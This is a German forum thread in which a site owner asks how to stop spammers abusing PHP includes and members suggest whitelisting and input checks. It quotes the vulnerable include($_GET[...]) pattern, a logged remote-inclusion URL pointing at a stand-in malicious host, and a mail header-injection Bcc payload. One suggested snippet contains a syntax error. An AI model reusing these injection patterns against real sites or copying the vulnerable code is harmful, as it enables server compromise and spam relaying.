Spam über Include vermeiden?

 


Toni
Veteran

19.03.08
10:51 Uhr
Hallo,

ich habe kürzlich eine Email meines Provider-Supports erhalten. Darin heißt es, dass zwei meiner Webseiten für Spam missbraucht wurden, weil es möglich war, http-Adressen über Include einzubinden. Wie das funktioniert, weiß ich nicht genau. Infos hier im Support-Blog..

Nun meine Frage: Wie kann ich mit meinen bescheidenen PHP-Kenntnissen meine Seite so abändern, dass der Include eigener Dateien sicher ist, ohne externen Zugriff? Jede Seite (außer Index) fängt folgendermaßen an:

  1. <?php include('header.php');?>
  2.  
  3. <!-- ****************** //-->
  4. <!-- Abschnitt: Sidebar //-->
  5. <!-- ****************** //-->
  6.  
  7. <?php include('sidebar.php'); ?>
  8.  
  9. <!-- ****************** //-->
  10. <!-- Abschnitt: Inhalt //-->
  11. <!-- ****************** //-->
  12.  
  13. <div id="inhalt">
  14.  
  15. ...hier kommt dann der Inhalt im Body...
Quelltext in Zwischenablage kopieren

Lässt sich meine Frage so schon beantworten? Braucht ihr weitere Infos?!?
Link zu diesem Beitrag in die Zwischenablage kopieren
phloo
Veteran

19.03.08
10:57 Uhr
Vermutlich über den $_GET Parameter, oder?

Wie übergibst du deine Variablen in den scripten?

Bzw wie sieht deine Navi aus?
Link zu diesem Beitrag in die Zwischenablage kopieren
Clemens
Veteran

19.03.08
11:02 Uhr
Ja und nein.
Du hast irgendwo ein
  1. include($_GET['irgendwas']); // oder auch ohne das $_GET wen register globals an ist
Quelltext in Zwischenablage kopieren
Das is ziemlich fatal.
Du solltest alle deine include Dateien in ein Verzeichnis legen und mit file_exists überprüfen ob sie existieren.

  1. if((isset()$_GET['irgendwas']) AND file_exists(dirname(__FILE__) . "/path/from/here/" . $_GET['irgendwas'])) { include(dirname(__FILE__) . "/path/from/here/" . $_GET['irgendwas']) ...}
Quelltext in Zwischenablage kopieren

Dann hast du auf jeden Fall nur lokale Dateien included.
Aber wenn du solche Sicherheitslücken in deinen Code einbaust, solltest du ehrlich gesagt nicht deine Dateien auf Produktivserver los lassen, sondern erstmal sicher PHP lernen!
Link zu diesem Beitrag in die Zwischenablage kopieren
alexxxus
Veteran

19.03.08
11:39 Uhr
Clemens schrieb am 19.03.08, 11:02 Uhr:

Aber wenn du solche Sicherheitslücken in deinen Code einbaust, solltest du ehrlich gesagt nicht deine Dateien auf Produktivserver los lassen, sondern erstmal sicher PHP lernen!

Ach komm'! Ist ja ein guter Rat, aber den letzten Scheiss Satz hättest Du vielleicht auch weniger überheblich schreiben können. Das habe ich früher ganz genau so gecodet weil es in vielen Büchern einfach so drin stand.
Link zu diesem Beitrag in die Zwischenablage kopieren
Toni
Veteran

19.03.08
15:52 Uhr
Clemens schrieb am 19.03.08, 11:02 Uhr:

Aber wenn du solche Sicherheitslücken in deinen Code einbaust, solltest du ehrlich gesagt nicht deine Dateien auf Produktivserver los lassen, sondern erstmal sicher PHP lernen!

Zum einen wusste ich nicht, dass es sich um eine Sicherheitslücke handelt. Zum anderen hab ich persönlich ja keine sensiblen Daten, die ich schützen müsste...

phloo schrieb am 19.03.08, 10:57 Uhr:

Wie übergibst du deine Variablen in den scripten?
Bzw wie sieht deine Navi aus?

z.B. mit „http://www.domain.de/referenzen.php?seite=2“... Meinst du das?

Die Sidebar sieht so aus:
  1. <?php include('changelanguage.php'); ?>
  2. <div id="deko">
  3. <h1 class="kopfbereich"><a href="/"><img src="img/<?=("de"==$sprache)?"":"en/";?>header.png" alt="">" /></a></h1>
  4. </div>
  5.  
  6. <div id="navi">
  7.  
  8. <!-- Abschnitt: Sidebar, Navigation //-->
  9.  
  10. <h1>Navigation</h1>
  11.  
  12. <ul class="navlinks">
  13. <li><a href="/" accesskey="0"><?=("de"==$sprache)?"Start":"Home";?></a></li>
  14. <li><a href="dissertation.php" accesskey="1">Dissertation</a></li>
  15. <li><a href="lebenslauf.php" accesskey="2"><?=("de"==$sprache)?"Lebenslauf":"Curriculum Vitae";?></a></li>
  16. <li><a href="referenzen.php" accesskey="3"><?=("de"==$sprache)?"Referenzen":"References";?></a></li>
  17. <li><a href="links.php" accesskey="4">Links</a></li>
  18. <li><a href="impressum.php" accesskey="5"><?=("de"==$sprache)?"Impressum":"Imprint";?></a></li>
  19. <li><a class="lastlink" href="<?=GetLangLink($sprache);?>" accesskey="6"><?=("de"!=$sprache)?"Deutsche Seite":"English Site";?></a></li>
  20. </ul>
  21.  
  22. <p>&nbsp;</p>
  23.  
  24. <!-- Abschnitt: Sidebar, Aktuelles //-->
  25.  
  26. <h1>Aktuelles</h1>
  27.  
  28. <ul class="aktuelles">
  29.  
  30. <!-- Hier stehen die aktuellen deutschen Neuigkeiten //-->
  31.  
  32. <li<?=("de"!=$sprache)?" class=\"sprachdisp\"":"";?>>
  33. Vortragsank&uuml;ndigung: &bdquo;Nachhaltigkeit und Nutzerorientierung im Schnittstellenmanagement.&ldquo;
  34. <a href="http://www.bremer-pflegekongress.de">Bremer Pflegekongress &amp; Deutscher Wundkongress</a>,
  35. 7.-8. Mai in Bremen.
  36. </li>
  37.  
  38. </ul>
  39.  
  40. </div>
  41.  
  42. <p>&nbsp;</p>
  43.  
  44. <!-- Abschnitt: Sidebar, Warebung //-->
  45.  
  46. <h1><?=("de"==$sprache)?"Empfehlungen":"Recommendations";?></h1>
  47.  
  48. <ul class="navlinks">
  49. <li><a href="http://zettelkasten.danielluedecke.de" title="Zettelkasten - nach Luhmann">Zettelkasten</a></li>
  50. <li><a href="http://www.mozilla.com" title="Mozilla - Take back the Web">Mozilla</a></li>
  51. <li><a href="http://<?=("de"==$sprache)?"de":"www";?>.openoffice.org" title="Open Office - Free your Data">Open Office</a></li>
  52. <li><a href="http://www.mandriva.com/en/product/mandriva-linux-one" title="Mandriva Linux">Mandriva Linux</a></li>
  53. <li><a class="lastlink" href="http://www.kubuntu<?=("de"==$sprache)?"-de":"";?>.org" title="Kubuntu Linux - Sharper design and advances in security">Kubuntu Linux</a></li>
  54. </ul>
  55.  
  56. </div>
Quelltext in Zwischenablage kopieren
Link zu diesem Beitrag in die Zwischenablage kopieren
Toni
Veteran

19.03.08
15:57 Uhr
Nachtrag: $_GET kommt in drei Dateien vor.

Die erste setzt das Title-Tag:
  1. <?php
  2. function GetTitelZusatz($spr)
  3. {
  4. $pfad_info = pathinfo($_SERVER[PHP_SELF]);
  5. $retval = "";
  6.  
  7. if(stristr($pfad_info["basename"],"dissertation")!=false) $retval = ("de"==$spr)?" Doktorarbeit.":" Doctoral Thesis.";
  8. if(stristr($pfad_info["basename"],"lebenslauf")!=false) $retval = ("de"==$spr)?" Lebenslauf.":" Curriculum Vitae.";
  9. if(stristr($pfad_info["basename"],"links")!=false) $retval = " Links.";
  10. if(stristr($pfad_info["basename"],"impressum")!=false) $retval = ("de"==$spr)?" Impressum &amp; Kontakt.":" Imprint &amp; Contact.";
  11.  
  12. if(stristr($pfad_info["basename"],"referenzen")!=false)
  13. {
  14. $retval = ("de"==$spr)?" Referenzen":" References";
  15. $p = $_GET['seite'];
  16.  
  17. if("de"==$spr)
  18. {
  19. if(empty($p) || $p=="1") $retval = $retval." - Publikationen.";
  20. if($p=="2") $retval = $retval." - Vortr&auml;ge.";
  21. if($p=="3") $retval = $retval." - Vortr&auml;ge (Co-Autor).";
  22. if($p=="4") $retval = $retval." - Webdesign/Programmieren.";
  23. if($p=="5") $retval = $retval." - Lehrt&auml;tigkeiten.";
  24. if($p=="6") $retval = $retval." - Vortr&auml;ge (sonstige).";
  25. }
  26. else
  27. {
  28. if(empty($p) || $p=="1") $retval = $retval." - Publications.";
  29. if($p=="2") $retval = $retval." - Presentations.";
  30. if($p=="3") $retval = $retval." - Presentations (Co-Author).";
  31. if($p=="4") $retval = $retval." - Webdesign/Programming.";
  32. if($p=="5") $retval = $retval." - University Lectures.";
  33. if($p=="6") $retval = $retval." - Presentations (others).";
  34. }
  35. }
  36.  
  37. return( $retval );
  38. }
  39. ?>
Quelltext in Zwischenablage kopieren

Zwei und Drei sind für die Sprache da:
  1. <?php
  2. function GetLangLink($spr)
  3. {
  4. $retval = "";
  5.  
  6. if(isset($_GET['seite']))
  7. {
  8. $retval = "?seite=".$_GET['seite']."&amp;lang=";
  9. }
  10. else if(isset($_GET['liste']))
  11. {
  12. $retval = "?liste=".$_GET['liste']."&amp;lang=";
  13. }
  14. else
  15. {
  16. $retval = "?lang=";
  17. }
  18.  
  19. if("de"==$spr)
  20. {
  21. $retval = $retval."en";
  22. }
  23. else
  24. {
  25. $retval = $retval."de";
  26. }
  27.  
  28. return( $retval );
  29. }
  30. ?>
Quelltext in Zwischenablage kopieren

  1. <?php
  2. if(isset($_GET['lang']))
  3. {
  4. $sprache = $_GET['lang'];
  5. }
  6.  
  7. if(empty($sprache)||!isset($sprache))
  8. {
  9. $sprache = "de";
  10.  
  11. if(isset($_COOKIE["dl_spr"])||!empty($_COOKIE["dl_spr"]))
  12. {
  13. $sprache = $_COOKIE["dl_spr"];
  14. }
  15. }
  16. else
  17. {
  18. setCookie("dl_spr",$_GET['lang'], time()*60*60*24*365);
  19. }
  20. ?>
Quelltext in Zwischenablage kopieren
Link zu diesem Beitrag in die Zwischenablage kopieren
Clemens
Veteran

19.03.08
17:27 Uhr
alexxxus schrieb am 19.03.08, 11:39 Uhr:

Clemens schrieb am 19.03.08, 11:02 Uhr:

Aber wenn du solche Sicherheitslücken in deinen Code einbaust, solltest du ehrlich gesagt nicht deine Dateien auf Produktivserver los lassen, sondern erstmal sicher PHP lernen!

Ach komm'! Ist ja ein guter Rat, aber den letzten Scheiss Satz hättest Du vielleicht auch weniger überheblich schreiben können. Das habe ich früher ganz genau so gecodet weil es in vielen Büchern einfach so drin stand.

Der letzte Satz klingt zwar arrogant, gehört aber zum guten Rat dazu.

Das ist das Problem mit PHP. Es gibt zuviele Leute die sich Fachmann schimpfen und sogar Bücher schreiben und die Einstiegshürde ist durch die vielen Infos/Bücher/Tutorials sehr niedrig.
Einerseits ist das natürlich positiv, aus professioneller Sicht aber bedenklich.
Deshalb wird PHP auch oft als „Kindersprache“ gewertet.

Toni: Du kannst deinem Provider allerdings auch sagen, dass er allow_url_fopen deaktivieren soll.
Link zu diesem Beitrag in die Zwischenablage kopieren
andi held
Dauergast

19.03.08
18:08 Uhr
Der Satz von Clemens hat schon seine Richtigkeit. Mit leichtfertigen includes kann man unter Umständen einigen Schaden anrichten.

Um nicht direkte $_GET includes zu machen kannst du zB. ein switch() oder Array zwischenschalten.

Statt
  1. include($_GET[file]);
Quelltext in Zwischenablage kopieren

Folgendes
  1. $token = $_GET["token"];
  2.  
  3. switch($token) {
  4.  
  5. case "about":
  6. $inc_file = "about.php";
  7. break;
  8.  
  9. case "contact":
  10. $inc_file = "contact.php";
  11. break;
  12.  
  13. //etc
  14. }
  15.  
  16. include("content/" . $inc_file);
Quelltext in Zwischenablage kopieren

Dann kannst du sichergehen dass nur die Dateien eingebunden werden welche du festlegst. Eine ähnliche Lösung kann man auch mit einem Array erzielen welches URL-token und Dateinamen verbindet. Ich arbeite meistens mit sowas.

Ist zwar ein bisschen komplizierter aber meistens nicht unpraktisch da man im selben Zug zB. auch seitenspezifische Titelinformationen, Stylesheets, etc. handhaben kann, falls nötig.
Link zu diesem Beitrag in die Zwischenablage kopieren
Jonis
Veteran

19.03.08
18:24 Uhr
ich mag selbst keine klugscheißer, aber beim thema variablen gilt immer:
erst überprüfen und niemals einfach nur übernehmen.

andi held hat ja mit dem switch schon eine möglichkeit angesprochen, bei zahlen gibt es auch eine relativ simple lösung

  1. $p = (int) $_GET['seitenzahl'];
Quelltext in Zwischenablage kopieren
so kann die variable nur vom typ integer sein ...

clemens' „allow_url_fopen deaktivieren“ ist auch eine gute variante, die meisten leute dürften das sowieso nicht nutzen. wenn du dich über andere mögliche gefahren schlau machen willst würde ich dir raten mal nach sql_injection zu suchen ...



suleitec -D da habe ich auch noch einen account, allerdings nutze ich den gar nicht ... -O
Link zu diesem Beitrag in die Zwischenablage kopieren
Matze
Chefetage

19.03.08
18:37 Uhr
Daten, die der User händisch ändern kann sind immer auf Gültigkeit zu überprüfen. werber


bigass
Link zu diesem Beitrag in die Zwischenablage kopieren
lukas
Gast

19.03.08
21:10 Uhr
Link zu diesem Beitrag in die Zwischenablage kopieren
Logan
Überläufer

19.03.08
21:21 Uhr
eine möglichkeit wäre auch vor dem include() mit file_exists() zu prüfen, ob die datei auf deinem server existiert, mit preg_match() kannst du vorher prüfen, ob der übergebene string böse zeichen wie //: oder sowas in der art enthält (whitelist, also beispielsweise nur A-Z a-z 0-9 _ und - zulassen).
Link zu diesem Beitrag in die Zwischenablage kopieren
Toni
Veteran

20.03.08
08:26 Uhr
Was ich mich frage: Per Include binde ich ja nur existente Dateien ein. In den Parametern stehen dann ja nur noch Variablen, die den Dateipfad komplettieren. Bspw. wenn der Parameter „?seite=1“ übergeben wird, wird in der php-Datei folgendes gemacht:

„<?php if(empty($seite)||$seite<1||$seite>5)$seite=1; include(„referenzen_“.$seite.“.inc&ldquo;); ?>“

Wie kann sich da überhaupt 'ne andere Seite „reinschleichen“?

Ach ja, die zweite Domain, die von mir betroffen ist, ist mein Weblog. Das setzt aber komplett auf Wordpress auf, da kann ich nichts machen... Außer die Änderung in der htaccess.
Link zu diesem Beitrag in die Zwischenablage kopieren
Toni
Veteran

20.03.08
08:34 Uhr
Logan schrieb am 19.03.08, 21:21 Uhr:

eine möglichkeit wäre auch vor dem include() mit file_exists() zu prüfen, ob die datei auf deinem server existiert, mit preg_match() kannst du vorher prüfen, ob der übergebene string böse zeichen wie //: oder sowas in der art enthält (whitelist, also beispielsweise nur A-Z a-z 0-9 _ und - zulassen).

Beim Include stehen die Dateinamen ja schon fest. Das einzige, was geändert wird, ist der Parameter, um evtl. noch eine „1“ oder „2“ an den Namen anzuhängen (siehe voriger Post von mir) oder eben ein Parameter „Sprache“, die dann einen Cookie mit den Spracheinstellungen setzt.
Link zu diesem Beitrag in die Zwischenablage kopieren
stese
Moderator

20.03.08
08:47 Uhr
jonis hat schon recht - es muss alles überprüft werden, was per parameter kommt (das kann sowohl cookie, session, oder halt post und get variablen sein)

beim beispiel deiner sprache kann man das z.b. so lösen, dass man vorher definiert, welche werte erlaubt sind und die mit den parametern abgleicht:

  1. $erlaubteSprachen = array("de", "en");
  2. // defaultsprache setzen
  3. $sprache = "de";
  4.  
  5. // überprüfung ob sprache korrekt ist:
  6. if ( in_array(strtolower($_GET["lang"]), $erlaubteSprachen) ) {
  7. // übergebener sprachwert ist gültig
  8. $sprache = strtolower($_GET["lang"]);
  9. }
Quelltext in Zwischenablage kopieren

das kann man so auch für alle anderen get/post parameter machen - damit bist du immer auf der sicheren seite
Link zu diesem Beitrag in die Zwischenablage kopieren
Clemens
Veteran

20.03.08
09:03 Uhr
Toni schrieb am 20.03.08, 08:34 Uhr:

Logan schrieb am 19.03.08, 21:21 Uhr:

eine möglichkeit wäre auch vor dem include() mit file_exists() zu prüfen, ob die datei auf deinem server existiert, mit preg_match() kannst du vorher prüfen, ob der übergebene string böse zeichen wie //: oder sowas in der art enthält (whitelist, also beispielsweise nur A-Z a-z 0-9 _ und - zulassen).

Beim Include stehen die Dateinamen ja schon fest. Das einzige, was geändert wird, ist der Parameter, um evtl. noch eine „1“ oder „2“ an den Namen anzuhängen (siehe voriger Post von mir) oder eben ein Parameter „Sprache“, die dann einen Cookie mit den Spracheinstellungen setzt.

Wenn du dir da sicher bist, liegt es wohl nicht daran.
Du kannst ja nochmal nach einer anderen Stelel schauen, wo es evtl. möglich wäre einen include einzuschleusen. Ansonsten hat dein Provider wohl noch weniger Ahnung als er ohnehin schon zu haben schien (wegen des allow_url_fopen's).

Die nächstpopulärste Möglichkeit Spam über PHP Skripte einzuschlausen ist Header über ein Formular in Kontakt- und ähnlichen Mail-auf-Benutzereingabe-hin versendenden Skripten einzuschleusen.
Beispielsweise ein Formularskript das dir eine Mail schickt und den Namen des Formular ausfüllenden im From: Header einbaut.
Dort injiziert der Spammer dann ein Hello my Name is\n Bcc: Spam@...\n Bcc: ..
Das nennt sich allgemein Header-Injection und dürfte sich in den entsprechenden Suchmaschinen einfach finden lassen.

Es gibt einige Wordplress Plugins die diese Lücke enthalten.
Und spätestens jetzt, könnt ihr euch vorstellen, warum mich sowas ärgert, oder?
Jeder Depp kann ein unsicheres Wordpress Plugin veröffentlichen und es scheint ein Phänomen zu sein, dass man sich den Code solcher Plugins nicht anschaut (einem geschenkten Gaul schaut man nicht ins Maul...?). Jedenfalls spuken so etliche Spamschleudern fast ungestört im Netz rum.
Link zu diesem Beitrag in die Zwischenablage kopieren
Jonis
Veteran

20.03.08
09:46 Uhr
Ich glaube auch, dass du einfach nochmal genauer nachfragen solltest ob sie dein Problem eingrenzen können. Sonst wird das hier zum Tanz mit der Wahrsagerkugel )

Nochmal zusammengefasst was du prüfen kannst:

PHP
- GET-/POST-Variablen
- Header Injection bei E-Mail-Formularen
- SQL Injection bei Datenbank-Queries

Wordpress
- aktuelle Version? (Spamlink Problem)
- Plugins (s.o. PHP)
Link zu diesem Beitrag in die Zwischenablage kopieren
Toni
Veteran

20.03.08
12:06 Uhr
Also, wie gesagt, alles, was ich über Parameter übergebe, wird nicht mittels Include eingebunden, sondern entweder a) ein Dateiname erweitert

  1. include(„referenzen_“.$seite.“.inc“);
Quelltext in Zwischenablage kopieren

oder aber b) die parameter folgendermaßen verwendet:
  1. <h1><?=("de"==$sprache)?"Willkommen":"Welcome";?></h1>
Quelltext in Zwischenablage kopieren

Aber es kommt nicht vor, dass ich einen kompletten Parameter „sinnlos“ per Include einbinde.

Beim einbinden prüfe ich auch auf korrekte Variablen:
  1. <?php if(empty($seite)||$seite<1||$seite>5)$seite=1; include("referenzen_".$seite.".inc"); ?>
Quelltext in Zwischenablage kopieren


Der eine Fall scheint definitiv an Wordpress zu liegen. Was bei mir sonst noch sein kann, ist, dass das Kontaktformular unsicher ist.

Die haben mir die Log-Daten geschickt (wobei ich die eine Email schon gelöscht habe...). Aber zum Blog/Wordpress wurde z.B. folgende URL geschickt:

strengejacke.de/2006-09-18/classes/core/language.php?rootdir=http://böseurl/bds/sefe.txt??

Vll. sollte ich einfach auf blogspot oder so wechseln, dann hab ich keinen Ärger damit. -)
Link zu diesem Beitrag in die Zwischenablage kopieren
Toni
Veteran

20.03.08
12:21 Uhr
Editiert: 05.02.11, 17:12 Uhr
Hab den Email-Injection Test erhalten, folgender Inhalt:

Nachricht abgeschickt von:
————————–
Jonis - Supertopic
Email:


Nachricht:
———-
email injection test

Wie lautet das Testergebnis?
Link zu diesem Beitrag in die Zwischenablage kopieren
Jonis
Veteran

20.03.08
12:26 Uhr
  1. <meta name="generator" content="WordPress 2.3.1" />
Quelltext in Zwischenablage kopieren
upgrade auf 2.3.3

Dein E-Mail-Formular lässt zumindest maskierte Sonderzeichen durch (%40, %0A)
Lesetipp

e: ich bin kein profi was das checken von lücken angeht, deswegen hab ich wahrscheinlich auch nix bekommen lol solltest du trotzdem ändern (s.o.) und bitte meine adressen ganz raus nehmen danke
Link zu diesem Beitrag in die Zwischenablage kopieren
Jonis
Veteran

09.02.11
04:22 Uhr
Irrelevanter Beitrag (anzeigen):

Link zu diesem Beitrag in die Zwischenablage kopieren
 
#